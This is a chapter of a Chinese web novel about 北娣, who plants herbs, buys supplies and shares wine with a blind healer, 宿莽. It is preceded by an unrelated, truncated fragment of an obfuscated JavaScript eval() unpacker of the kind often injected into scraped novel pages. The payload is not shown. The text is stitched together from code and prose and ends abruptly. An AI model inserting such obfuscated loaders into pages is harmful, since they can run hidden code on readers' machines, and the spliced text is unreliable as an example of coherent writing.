;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她没有练剑,她蹲在门口的空地上,用手扒开泥土,把宿莽昨晚教她认的草药种子一颗一颗埋进土里。 宿莽站在门口,拄着竹杖,面朝她的方向。 “深了。” 北娣把种子挖出来,重新埋。 “浅了。” 北娣又挖出来,再埋。 “差不多。” 北娣把土盖上,拍了拍手上的泥,站起来,转过身看着宿莽。 “是这样吗?” 宿莽笑了。 “是。” 北娣蹲回去,继续种。 她种了一整天,把整块空地都种满了。 太阳落山的时候,她站起来,腰酸得直不起来,手上有好几道被草叶划破的口子,指甲缝里全是泥。 但她看着那片种满草药的土地,笑了。 “行了。” 宿莽站在门口,听着她的声音,嘴角弯了弯。 “辛苦。” 北娣摇头。 她走到水缸边,舀了一瓢水,把手上的泥冲掉,然后走进屋里,在木椅上坐下。 宿莽把晚饭端上来。 一碗粥,一碟咸菜,两个馒头。粥是白米粥,熬得很稠,咸菜切得很细,馒头是刚蒸好的,还冒着热气。 北娣端起粥碗,喝了一口。 粥不烫,温度刚刚好。 喝完粥,北娣把碗放下,看着宿莽。 “宿莽。” “嗯。” “我明天去南水城,买点东西。” 宿莽点头。 “路上小心。” 北娣站起来,走到门口。她回头看了宿莽一眼,宿莽坐在椅子上,面朝她的方向,白纱蒙着眼,看不见他的表情,但他的嘴角弯着。 北娣收回目光,推门出去。 第二天,北娣去了南水城。 她买了一床新被子、一袋米、一壶油、几斤肉、一包糖。 她把东西扛回来的时候,宿莽正坐在门口晒草药。 他听见脚步声,抬起头,面朝她的方向。 “买了什么?” 北娣把东西放在地上,喘了口气。 “被子、米、油、肉、糖。” 宿莽愣了一下。 “买这些干什么?” “你那个被子太薄了,晚上冷。米和油快没了,肉给你补补,糖——”北娣顿了顿,“你不是说药苦吗?喝完药含一颗糖,就不苦了。” 宿莽没有说话。 他坐在门口,面朝北娣的方向,白纱蒙着眼,看不见他的表情,但他的嘴角弯着,弯得很深。 北娣把东西搬进屋里,把旧被子换下来,铺上新被子。 被子是棉花的,厚实,柔软,有一股阳光的味道。 她铺好被子,站在床边,看了很久。 然后她转身,走出门。 宿莽还坐在门口,面朝她的方向。 风吹过来,吹动他面前那面布幌子,上面的“义诊”两个字在风里晃了晃。 北娣走到他面前,蹲下来,平视着他。 “宿莽。” “嗯。” “我以后,每天来帮你。” 宿莽愣了一下。 “你——” “不是每天来帮你摆摊。”北娣打断他,“是每天来看你。” 宿莽没有说话。 他坐在那里,面朝北娣的方向,他笑了。 北娣看着他,也笑了。 “你不说话,我就当你答应了。” 宿莽还是没说话。 但他的嘴角,弯得更深了。 北娣站起来,拍了拍衣摆上的灰,转身走了。 走出几步,她忽然停下来,没有回头。 “宿莽。” “嗯。” “明天见。” 她说完,走了。 白衣在暮色里越来越远,高马尾在风里飘着,最后消失在小路的尽头。 宿莽坐在门口,听着她的脚步声越来越远,越来越轻,最后什么声音都没有了。 他坐在那里,坐了很久。 然后他站起来,拄着竹杖,走回屋里。 门在身后关上。 第二天,北娣来了。 她带了一壶酒,是南水城最好的酒。 宿莽闻了闻,笑了。 “好酒。” “那当然。”北娣把酒倒进碗里,递给他,“我挑了好久的。” 宿莽接过碗,喝了一口,眉头皱了一下,然后舒展开了。 “烈。” “烈才够味。”北娣给自己也倒了一碗,喝了一大口,辣得直吸气,但眼睛亮得像点了灯。 两个人坐在门口,喝着酒,看着太阳落山。 天边被染成金红色,云层一层一层叠在一起,像一幅泼墨的画。 风吹过来,带着青草和泥土的气味,还有一丝若有若无的药香。 北娣端着酒碗,看着远处的山。 “宿莽。” “你以后,别一个人上山采药了。” 宿莽愣了一下。 “为什么?” “我去。”北娣说,“我比你跑得快,比你眼睛好使。你告诉我采什么药,我去采。” 宿莽沉默了一瞬。 “你——” “我不是在跟你商量。”北娣打断他,“我是通知你。” 宿莽张了张嘴,想说什么,但没说出来,最后只吐出一个字。 “好。” 北娣笑了。她把碗里的酒喝完,站起来,拍了拍衣摆上的灰。 “行了,我走了。明天见。” 她转身走了。 白衣在暮色里越来越远,高马尾在风里飘着。 宿莽坐在门口,听着她的脚步声。 这一次他没有站起来,没有走回屋里。 他就坐在那里,听着那脚步声越来越远,越来越轻,最后什么声音都没有了。 他端着那碗酒,喝了一口。 酒已经凉了,但还是很烈。 他咽下去,又喝了一口。 阿涟,涟漪的涟。 水面上的一圈涟漪。 看起来很小,但能传到很远的地方。